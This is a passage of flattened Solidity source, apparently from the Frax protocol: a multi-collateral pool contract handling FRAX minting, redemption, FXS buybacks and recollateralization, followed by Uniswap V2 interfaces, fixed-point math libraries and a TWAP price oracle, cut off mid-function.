unclaimedPoolCollateral.push(0); // Initialize paused prices to $1 as a backup collateral_prices.push(PRICE_PRECISION); // Handle the fees minting_fee.push(_initial_fees[0]); redemption_fee.push(_initial_fees[1]); buyback_fee.push(_initial_fees[2]); recollat_fee.push(_initial_fees[3]); // Handle the pauses mintPaused.push(false); redeemPaused.push(false); recollateralizePaused.push(false); buyBackPaused.push(false); } // Pool ceiling pool_ceilings = _pool_ceilings; // Set the decimals chainlink_frax_usd_decimals = priceFeedFRAXUSD.decimals(); chainlink_fxs_usd_decimals = priceFeedFXSUSD.decimals(); } /* ========== STRUCTS ========== */ struct CollateralInformation { uint256 index; string symbol; address col_addr; bool is_enabled; uint256 missing_decs; uint256 price; uint256 pool_ceiling; bool mint_paused; bool redeem_paused; bool recollat_paused; bool buyback_paused; uint256 minting_fee; uint256 redemption_fee; uint256 buyback_fee; uint256 recollat_fee; } /* ========== VIEWS ========== */ // Helpful for UIs function collateral_information(address collat_address) external view returns (CollateralInformation memory return_data){ require(enabled_collaterals[collat_address], "Invalid collateral"); // Get the index uint256 idx = collateralAddrToIdx[collat_address]; return_data = CollateralInformation( idx, // [0] collateral_symbols[idx], // [1] collat_address, // [2] enabled_collaterals[collat_address], // [3] missing_decimals[idx], // [4] collateral_prices[idx], // [5] pool_ceilings[idx], // [6] mintPaused[idx], // [7] redeemPaused[idx], // [8] recollateralizePaused[idx], // [9] buyBackPaused[idx], // [10] minting_fee[idx], // [11] redemption_fee[idx], // [12] buyback_fee[idx], // [13] recollat_fee[idx] // [14] ); } function allCollaterals() external view returns (address[] memory) { return collateral_addresses; } function getFRAXPrice() public view returns (uint256) { ( , int price, , , ) = priceFeedFRAXUSD.latestRoundData(); return uint256(price).mul(PRICE_PRECISION).div(10 ** chainlink_frax_usd_decimals); } function getFXSPrice() public view returns (uint256) { ( , int price, , , ) = priceFeedFXSUSD.latestRoundData(); return uint256(price).mul(PRICE_PRECISION).div(10 ** chainlink_fxs_usd_decimals); } // Returns the FRAX value in collateral tokens function getFRAXInCollateral(uint256 col_idx, uint256 frax_amount) public view returns (uint256) { return frax_amount.mul(PRICE_PRECISION).div(10 ** missing_decimals[col_idx]).div(collateral_prices[col_idx]); } // Used by some functions. function freeCollatBalance(uint256 col_idx) public view returns (uint256) { return ERC20(collateral_addresses[col_idx]).balanceOf(address(this)).sub(unclaimedPoolCollateral[col_idx]); } // Returns dollar value of collateral held in this Frax pool, in E18 function collatDollarBalance() external view returns (uint256 balance_tally) { balance_tally = 0; // Test 1 for (uint256 i = 0; i < collateral_addresses.length; i++){ balance_tally += freeCollatBalance(i).mul(10 ** missing_decimals[i]).mul(collateral_prices[i]).div(PRICE_PRECISION); } } function comboCalcBbkRct(uint256 cur, uint256 max, uint256 theo) internal pure returns (uint256) { if (cur >= max) { // If the hourly limit has already been reached, return 0; return 0; } else { // Get the available amount uint256 available = max.sub(cur); if (theo >= available) { // If the the theoretical is more than the available, return the available return available; } else { // Otherwise, return the theoretical amount return theo; } } } // Returns the value of excess collateral (in E18) held globally, compared to what is needed to maintain the global collateral ratio // Also has throttling to avoid dumps during large price movements function buybackAvailableCollat() public view returns (uint256) { uint256 total_supply = FRAX.totalSupply(); uint256 global_collateral_ratio = FRAX.global_collateral_ratio(); uint256 global_collat_value = FRAX.globalCollateralValue(); if (global_collateral_ratio > PRICE_PRECISION) global_collateral_ratio = PRICE_PRECISION; // Handles an overcollateralized contract with CR > 1 uint256 required_collat_dollar_value_d18 = (total_supply.mul(global_collateral_ratio)).div(PRICE_PRECISION); // Calculates collateral needed to back each 1 FRAX with $1 of collateral at current collat ratio if (global_collat_value > required_collat_dollar_value_d18) { // Get the theoretical buyback amount uint256 theoretical_bbk_amt = global_collat_value.sub(required_collat_dollar_value_d18); // See how much has collateral has been issued this hour uint256 current_hr_bbk = bbkHourlyCum[curEpochHr()]; // Account for the throttling return comboCalcBbkRct(current_hr_bbk, bbkMaxColE18OutPerHour, theoretical_bbk_amt); } else return 0; } // Returns the missing amount of collateral (in E18) needed to maintain the collateral ratio function recollatTheoColAvailableE18() public view returns (uint256) { uint256 frax_total_supply = FRAX.totalSupply(); uint256 effective_collateral_ratio = FRAX.globalCollateralValue().mul(PRICE_PRECISION).div(frax_total_supply); // Returns it in 1e6 uint256 desired_collat_e24 = (FRAX.global_collateral_ratio()).mul(frax_total_supply); uint256 effective_collat_e24 = effective_collateral_ratio.mul(frax_total_supply); // Return 0 if already overcollateralized // Otherwise, return the deficiency if (effective_collat_e24 >= desired_collat_e24) return 0; else { return (desired_collat_e24.sub(effective_collat_e24)).div(PRICE_PRECISION); } } // Returns the value of FXS available to be used for recollats // Also has throttling to avoid dumps during large price movements function recollatAvailableFxs() public view returns (uint256) { uint256 fxs_price = getFXSPrice(); // Get the amount of collateral theoretically available uint256 recollat_theo_available_e18 = recollatTheoColAvailableE18(); // Get the amount of FXS theoretically outputtable uint256 fxs_theo_out = recollat_theo_available_e18.mul(PRICE_PRECISION).div(fxs_price); // See how much FXS has been issued this hour uint256 current_hr_rct = rctHourlyCum[curEpochHr()]; // Account for the throttling return comboCalcBbkRct(current_hr_rct, rctMaxFxsOutPerHour, fxs_theo_out); } // Returns the current epoch hour function curEpochHr() public view returns (uint256) { return (block.timestamp / 3600); // Truncation desired } /* ========== PUBLIC FUNCTIONS ========== */ function mintFrax( uint256 col_idx, uint256 frax_amt, uint256 frax_out_min, bool one_to_one_override ) external collateralEnabled(col_idx) returns ( uint256 total_frax_mint, uint256 collat_needed, uint256 fxs_needed ) { require(mintPaused[col_idx] == false, "Minting is paused"); // Prevent unneccessary mints require(getFRAXPrice() >= mint_price_threshold, "Frax price too low"); uint256 global_collateral_ratio = FRAX.global_collateral_ratio(); if (one_to_one_override || global_collateral_ratio >= PRICE_PRECISION) { // 1-to-1, overcollateralized, or user selects override collat_needed = getFRAXInCollateral(col_idx, frax_amt); fxs_needed = 0; } else if (global_collateral_ratio == 0) { // Algorithmic collat_needed = 0; fxs_needed = frax_amt.mul(PRICE_PRECISION).div(getFXSPrice()); } else { // Fractional uint256 frax_for_collat = frax_amt.mul(global_collateral_ratio).div(PRICE_PRECISION); uint256 frax_for_fxs = frax_amt.sub(frax_for_collat); collat_needed = getFRAXInCollateral(col_idx, frax_for_collat); fxs_needed = frax_for_fxs.mul(PRICE_PRECISION).div(getFXSPrice()); } // Subtract the minting fee total_frax_mint = (frax_amt.mul(PRICE_PRECISION.sub(minting_fee[col_idx]))).div(PRICE_PRECISION); // Checks require((frax_out_min <= total_frax_mint), "FRAX slippage"); require(freeCollatBalance(col_idx).add(collat_needed) <= pool_ceilings[col_idx], "Pool ceiling"); // Take the FXS and collateral first FXS.pool_burn_from(msg.sender, fxs_needed); TransferHelper.safeTransferFrom(collateral_addresses[col_idx], msg.sender, address(this), collat_needed); // Mint the FRAX FRAX.pool_mint(msg.sender, total_frax_mint); } function redeemFrax( uint256 col_idx, uint256 frax_amount, uint256 fxs_out_min, uint256 col_out_min ) external collateralEnabled(col_idx) returns ( uint256 collat_out, uint256 fxs_out ) { require(redeemPaused[col_idx] == false, "Redeeming is paused"); // Prevent unneccessary redemptions that could adversely affect the FXS price require(getFRAXPrice() <= redeem_price_threshold, "Frax price too high"); uint256 global_collateral_ratio = FRAX.global_collateral_ratio(); uint256 frax_after_fee = (frax_amount.mul(PRICE_PRECISION.sub(redemption_fee[col_idx]))).div(PRICE_PRECISION); // Assumes $1 FRAX in all cases if(global_collateral_ratio >= PRICE_PRECISION) { // 1-to-1 or overcollateralized collat_out = frax_after_fee .mul(collateral_prices[col_idx]) .div(10 ** (6 + missing_decimals[col_idx])); // PRICE_PRECISION + missing decimals fxs_out = 0; } else if (global_collateral_ratio == 0) { // Algorithmic fxs_out = frax_after_fee .mul(PRICE_PRECISION) .div(getFXSPrice()); collat_out = 0; } else { // Fractional collat_out = frax_after_fee .mul(global_collateral_ratio) .mul(collateral_prices[col_idx]) .div(10 ** (12 + missing_decimals[col_idx])); // PRICE_PRECISION ^2 + missing decimals fxs_out = frax_after_fee .mul(PRICE_PRECISION.sub(global_collateral_ratio)) .div(getFXSPrice()); // PRICE_PRECISIONS CANCEL OUT } // Checks require(collat_out <= (ERC20(collateral_addresses[col_idx])).balanceOf(address(this)).sub(unclaimedPoolCollateral[col_idx]), "Insufficient pool collateral"); require(collat_out >= col_out_min, "Collateral slippage"); require(fxs_out >= fxs_out_min, "FXS slippage"); // Account for the redeem delay redeemCollateralBalances[msg.sender][col_idx] = redeemCollateralBalances[msg.sender][col_idx].add(collat_out); unclaimedPoolCollateral[col_idx] = unclaimedPoolCollateral[col_idx].add(collat_out); redeemFXSBalances[msg.sender] = redeemFXSBalances[msg.sender].add(fxs_out); unclaimedPoolFXS = unclaimedPoolFXS.add(fxs_out); lastRedeemed[msg.sender] = block.number; FRAX.pool_burn_from(msg.sender, frax_amount); FXS.pool_mint(address(this), fxs_out); } // After a redemption happens, transfer the newly minted FXS and owed collateral from this pool // contract to the user. Redemption is split into two functions to prevent flash loans from being able // to take out FRAX/collateral from the system, use an AMM to trade the new price, and then mint back into the system. function collectRedemption(uint256 col_idx) external returns (uint256 fxs_amount, uint256 collateral_amount) { require(redeemPaused[col_idx] == false, "Redeeming is paused"); require((lastRedeemed[msg.sender].add(redemption_delay)) <= block.number, "Too soon"); bool sendFXS = false; bool sendCollateral = false; // Use Checks-Effects-Interactions pattern if(redeemFXSBalances[msg.sender] > 0){ fxs_amount = redeemFXSBalances[msg.sender]; redeemFXSBalances[msg.sender] = 0; unclaimedPoolFXS = unclaimedPoolFXS.sub(fxs_amount); sendFXS = true; } if(redeemCollateralBalances[msg.sender][col_idx] > 0){ collateral_amount = redeemCollateralBalances[msg.sender][col_idx]; redeemCollateralBalances[msg.sender][col_idx] = 0; unclaimedPoolCollateral[col_idx] = unclaimedPoolCollateral[col_idx].sub(collateral_amount); sendCollateral = true; } // Send out the tokens if(sendFXS){ TransferHelper.safeTransfer(address(FXS), msg.sender, fxs_amount); } if(sendCollateral){ TransferHelper.safeTransfer(collateral_addresses[col_idx], msg.sender, collateral_amount); } } // Function can be called by an FXS holder to have the protocol buy back FXS with excess collateral value from a desired collateral pool // This can also happen if the collateral ratio > 1 function buyBackFxs(uint256 col_idx, uint256 fxs_amount, uint256 col_out_min) external collateralEnabled(col_idx) returns (uint256 col_out) { require(buyBackPaused[col_idx] == false, "Buyback is paused"); uint256 fxs_price = getFXSPrice(); uint256 available_excess_collat_dv = buybackAvailableCollat(); // If the total collateral value is higher than the amount required at the current collateral ratio then buy back up to the possible FXS with the desired collateral require(available_excess_collat_dv > 0, "Insuf Collat Avail For BBK"); // Make sure not to take more than is available uint256 fxs_dollar_value_d18 = fxs_amount.mul(fxs_price).div(PRICE_PRECISION); require(fxs_dollar_value_d18 <= available_excess_collat_dv, "Insuf Collat Avail For BBK"); // Get the equivalent amount of collateral based on the market value of FXS provided uint256 collateral_equivalent_d18 = fxs_dollar_value_d18.mul(PRICE_PRECISION).div(collateral_prices[col_idx]); col_out = collateral_equivalent_d18.div(10 ** missing_decimals[col_idx]); // In its natural decimals() // Subtract the buyback fee col_out = (col_out.mul(PRICE_PRECISION.sub(buyback_fee[col_idx]))).div(PRICE_PRECISION); // Check for slippage require(col_out >= col_out_min, "Collateral slippage"); // Take in and burn the FXS, then send out the collateral FXS.pool_burn_from(msg.sender, fxs_amount); TransferHelper.safeTransfer(collateral_addresses[col_idx], msg.sender, col_out); // Increment the outbound collateral, in E18, for that hour // Used for buyback throttling bbkHourlyCum[curEpochHr()] += collateral_equivalent_d18; } // When the protocol is recollateralizing, we need to give a discount of FXS to hit the new CR target // Thus, if the target collateral ratio is higher than the actual value of collateral, minters get FXS for adding collateral // This function simply rewards anyone that sends collateral to a pool with the same amount of FXS + the bonus rate // Anyone can call this function to recollateralize the protocol and take the extra FXS value from the bonus rate as an arb opportunity function recollateralize(uint256 col_idx, uint256 collateral_amount, uint256 fxs_out_min) external collateralEnabled(col_idx) returns (uint256 fxs_out) { require(recollateralizePaused[col_idx] == false, "Recollat is paused"); uint256 collateral_amount_d18 = collateral_amount * (10 ** missing_decimals[col_idx]); uint256 fxs_price = getFXSPrice(); // Get the amount of FXS actually available (accounts for throttling) uint256 fxs_actually_available = recollatAvailableFxs(); // Calculated the attempted amount of FXS fxs_out = collateral_amount_d18.mul(PRICE_PRECISION.add(bonus_rate).sub(recollat_fee[col_idx])).div(fxs_price); // Make sure there is FXS available require(fxs_out <= fxs_actually_available, "Insuf FXS Avail For RCT"); // Check slippage require(fxs_out >= fxs_out_min, "FXS slippage"); // Don't take in more collateral than the pool ceiling for this token allows require(freeCollatBalance(col_idx).add(collateral_amount) <= pool_ceilings[col_idx], "Pool ceiling"); // Take in the collateral and pay out the FXS TransferHelper.safeTransferFrom(collateral_addresses[col_idx], msg.sender, address(this), collateral_amount); FXS.pool_mint(msg.sender, fxs_out); // Increment the outbound FXS, in E18 // Used for recollat throttling rctHourlyCum[curEpochHr()] += fxs_out; } // Bypasses the gassy mint->redeem cycle for AMOs to borrow collateral function amoMinterBorrow(uint256 collateral_amount) external onlyAMOMinters { // Checks the col_idx of the minter as an additional safety check uint256 minter_col_idx = IFraxAMOMinter(msg.sender).col_idx(); // Transfer TransferHelper.safeTransfer(collateral_addresses[minter_col_idx], msg.sender, collateral_amount); } /* ========== RESTRICTED FUNCTIONS, CUSTODIAN CAN CALL TOO ========== */ function toggleMRBR(uint256 col_idx, uint8 tog_idx) external onlyByOwnGovCust { if (tog_idx == 0) mintPaused[col_idx] = !mintPaused[col_idx]; else if (tog_idx == 1) redeemPaused[col_idx] = !redeemPaused[col_idx]; else if (tog_idx == 2) buyBackPaused[col_idx] = !buyBackPaused[col_idx]; else if (tog_idx == 3) recollateralizePaused[col_idx] = !recollateralizePaused[col_idx]; emit MRBRToggled(col_idx, tog_idx); } /* ========== RESTRICTED FUNCTIONS, GOVERNANCE ONLY ========== */ // Add an AMO Minter function addAMOMinter(address amo_minter_addr) external onlyByOwnGov { require(amo_minter_addr != address(0), "Zero address detected"); // Make sure the AMO Minter has collatDollarBalance() uint256 collat_val_e18 = IFraxAMOMinter(amo_minter_addr).collatDollarBalance(); require(collat_val_e18 >= 0, "Invalid AMO"); amo_minter_addresses[amo_minter_addr] = true; emit AMOMinterAdded(amo_minter_addr); } // Remove an AMO Minter function removeAMOMinter(address amo_minter_addr) external onlyByOwnGov { amo_minter_addresses[amo_minter_addr] = false; emit AMOMinterRemoved(amo_minter_addr); } function setCollateralPrice(uint256 col_idx, uint256 _new_price) external onlyByOwnGov { collateral_prices[col_idx] = _new_price; emit CollateralPriceSet(col_idx, _new_price); } // Could also be called toggleCollateral function toggleCollateral(uint256 col_idx) external onlyByOwnGov { address col_address = collateral_addresses[col_idx]; enabled_collaterals[col_address] = !enabled_collaterals[col_address]; emit CollateralToggled(col_idx, enabled_collaterals[col_address]); } function setPoolCeiling(uint256 col_idx, uint256 new_ceiling) external onlyByOwnGov { pool_ceilings[col_idx] = new_ceiling; emit PoolCeilingSet(col_idx, new_ceiling); } function setFees(uint256 col_idx, uint256 new_mint_fee, uint256 new_redeem_fee, uint256 new_buyback_fee, uint256 new_recollat_fee) external onlyByOwnGov { minting_fee[col_idx] = new_mint_fee; redemption_fee[col_idx] = new_redeem_fee; buyback_fee[col_idx] = new_buyback_fee; recollat_fee[col_idx] = new_recollat_fee; emit FeesSet(col_idx, new_mint_fee, new_redeem_fee, new_buyback_fee, new_recollat_fee); } function setPoolParameters(uint256 new_bonus_rate, uint256 new_redemption_delay) external onlyByOwnGov { bonus_rate = new_bonus_rate; redemption_delay = new_redemption_delay; emit PoolParametersSet(new_bonus_rate, new_redemption_delay); } function setPriceThresholds(uint256 new_mint_price_threshold, uint256 new_redeem_price_threshold) external onlyByOwnGov { mint_price_threshold = new_mint_price_threshold; redeem_price_threshold = new_redeem_price_threshold; emit PriceThresholdsSet(new_mint_price_threshold, new_redeem_price_threshold); } function setBbkRctPerHour(uint256 _bbkMaxColE18OutPerHour, uint256 _rctMaxFxsOutPerHour) external onlyByOwnGov { bbkMaxColE18OutPerHour = _bbkMaxColE18OutPerHour; rctMaxFxsOutPerHour = _rctMaxFxsOutPerHour; emit BbkRctPerHourSet(_bbkMaxColE18OutPerHour, _rctMaxFxsOutPerHour); } // Set the Chainlink oracles function setOracles(address _frax_usd_chainlink_addr, address _fxs_usd_chainlink_addr) external onlyByOwnGov { // Set the instances priceFeedFRAXUSD = AggregatorV3Interface(_frax_usd_chainlink_addr); priceFeedFXSUSD = AggregatorV3Interface(_fxs_usd_chainlink_addr); // Set the decimals chainlink_frax_usd_decimals = priceFeedFRAXUSD.decimals(); chainlink_fxs_usd_decimals = priceFeedFXSUSD.decimals(); emit OraclesSet(_frax_usd_chainlink_addr, _fxs_usd_chainlink_addr); } function setCustodian(address new_custodian) external onlyByOwnGov { custodian_address = new_custodian; emit CustodianSet(new_custodian); } function setTimelock(address new_timelock) external onlyByOwnGov { timelock_address = new_timelock; emit TimelockSet(new_timelock); } /* ========== EVENTS ========== */ event CollateralToggled(uint256 col_idx, bool new_state); event PoolCeilingSet(uint256 col_idx, uint256 new_ceiling); event FeesSet(uint256 col_idx, uint256 new_mint_fee, uint256 new_redeem_fee, uint256 new_buyback_fee, uint256 new_recollat_fee); event PoolParametersSet(uint256 new_bonus_rate, uint256 new_redemption_delay); event PriceThresholdsSet(uint256 new_bonus_rate, uint256 new_redemption_delay); event BbkRctPerHourSet(uint256 bbkMaxColE18OutPerHour, uint256 rctMaxFxsOutPerHour); event AMOMinterAdded(address amo_minter_addr); event AMOMinterRemoved(address amo_minter_addr); event OraclesSet(address frax_usd_chainlink_addr, address fxs_usd_chainlink_addr); event CustodianSet(address new_custodian); event TimelockSet(address new_timelock); event MRBRToggled(uint256 col_idx, uint8 tog_idx); event CollateralPriceSet(uint256 col_idx, uint256 new_price); } // File contracts/Uniswap/Interfaces/IUniswapV2Factory.sol interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File contracts/Uniswap/Interfaces/IUniswapV2Pair.sol interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File contracts/Math/Babylonian.sol // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian { function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } // else z = 0 } } // File contracts/Math/FixedPoint.sol // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint _x; } uint8 private constant RESOLUTION = 112; uint private constant Q112 = uint(1) << RESOLUTION; uint private constant Q224 = Q112 << RESOLUTION; // encode a uint112 as a UQ112x112 function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } // encodes a uint144 as a UQ144x112 function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } // divide a UQ112x112 by a uint112, returning a UQ112x112 function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { require(x != 0, 'FixedPoint: DIV_BY_ZERO'); return uq112x112(self._x / uint224(x)); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { uint z; require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // equivalent to encode(numerator).div(denominator) function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); return uq112x112((uint224(numerator) << RESOLUTION) / denominator); } // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a UQ144x112 into a uint144 by truncating after the radix point function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } // take the reciprocal of a UQ112x112 function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) { require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL'); return uq112x112(uint224(Q224 / self._x)); } // square root of a UQ112x112 function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56)); } } // File contracts/Uniswap/UniswapV2OracleLibrary.sol // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function currentCumulativePrices( address pair ) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) { blockTimestamp = currentBlockTimestamp(); price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast(); price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } // File contracts/Uniswap/UniswapV2Library.sol library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // Less efficient than the CREATE2 method below function pairFor(address factory, address tokenA, address tokenB) internal view returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = IUniswapV2Factory(factory).getPair(token0, token1); } // calculates the CREATE2 address for a pair without making any external calls function pairForCreate2(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint160(bytes20(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash ))))); // this matches the CREATE2 in UniswapV2Factory.createPair } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i = 0; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // File contracts/Oracle/UniswapPairOracle.sol // Fixed window oracle that recomputes the average price for the entire period once every period // Note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period contract UniswapPairOracle is Owned { using FixedPoint for *; address timelock_address; uint public PERIOD = 3600; // 1 hour TWAP (time-weighted average price) uint public CONSULT_LENIENCY = 120; // Used for being able to consult past the period end bool public ALLOW_STALE_CONSULTS = false; // If false, consult() will fail if the TWAP is stale IUniswapV2Pair public immutable pair; address public immutable token0; address public immutable token1; uint public price0CumulativeLast; uint public price1CumulativeLast; uint32 public blockTimestampLast; FixedPoint.uq112x112 public price0Average; FixedPoint.uq112x112 public price1Average; modifier onlyByOwnGov() { require(msg.sender == owner || msg.sender == timelock_address, "You are not an owner or the governance timelock"); _; } constructor ( address factory, address tokenA, address tokenB, address _owner_address, address _timelock_address ) public Owned(_owner_address) { IUniswapV2Pair _pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, tokenA, tokenB)); pair = _pair; token0 = _pair.token0(); token1 = _pair.token1(); price0CumulativeLast = _pair.price0CumulativeLast(); // Fetch the current accumulated price value (1 / 0) price1CumulativeLast = _pair.price1CumulativeLast(); // Fetch the current accumulated price value (0 / 1) uint112 reserve0; uint112 reserve1; (reserve0, reserve1, blockTimestampLast) = _pair.getReserves(); require(reserve0 != 0 && reserve1 != 0, 'UniswapPairOracle: NO_RESERVES'); // Ensure that there's liquidity in the pair timelock_address = _timelock_address; } function setTimelock(address _timelock_address) external onlyByOwnGov { timelock_address = _timelock_address; } function setPeriod(uint _period) external onlyByOwnGov { PERIOD = _period; } function setConsultLeniency(uint _consult_leniency) external onlyByOwnGov { CONSULT_LENIENCY = _consult_leniency; } function setAllowStaleConsults(bool _allow_stale_consults) external onlyByOwnGov { ALLOW_STALE_CONSULTS = _allow_stale_consults; } // Check if update() can be called instead of wasting gas calling it function canUpdate() public view returns (bool) { uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp(); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired return (timeElapsed >= PERIOD); } function update() external { (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair)); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired // Ensure that at least one full period has passed since the last update require(timeElapsed >= PERIOD, 'UniswapPairOracle: PERIOD_NOT_ELAPSED'); // Overflow is desired, casting never truncates // Cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)); price1Average = 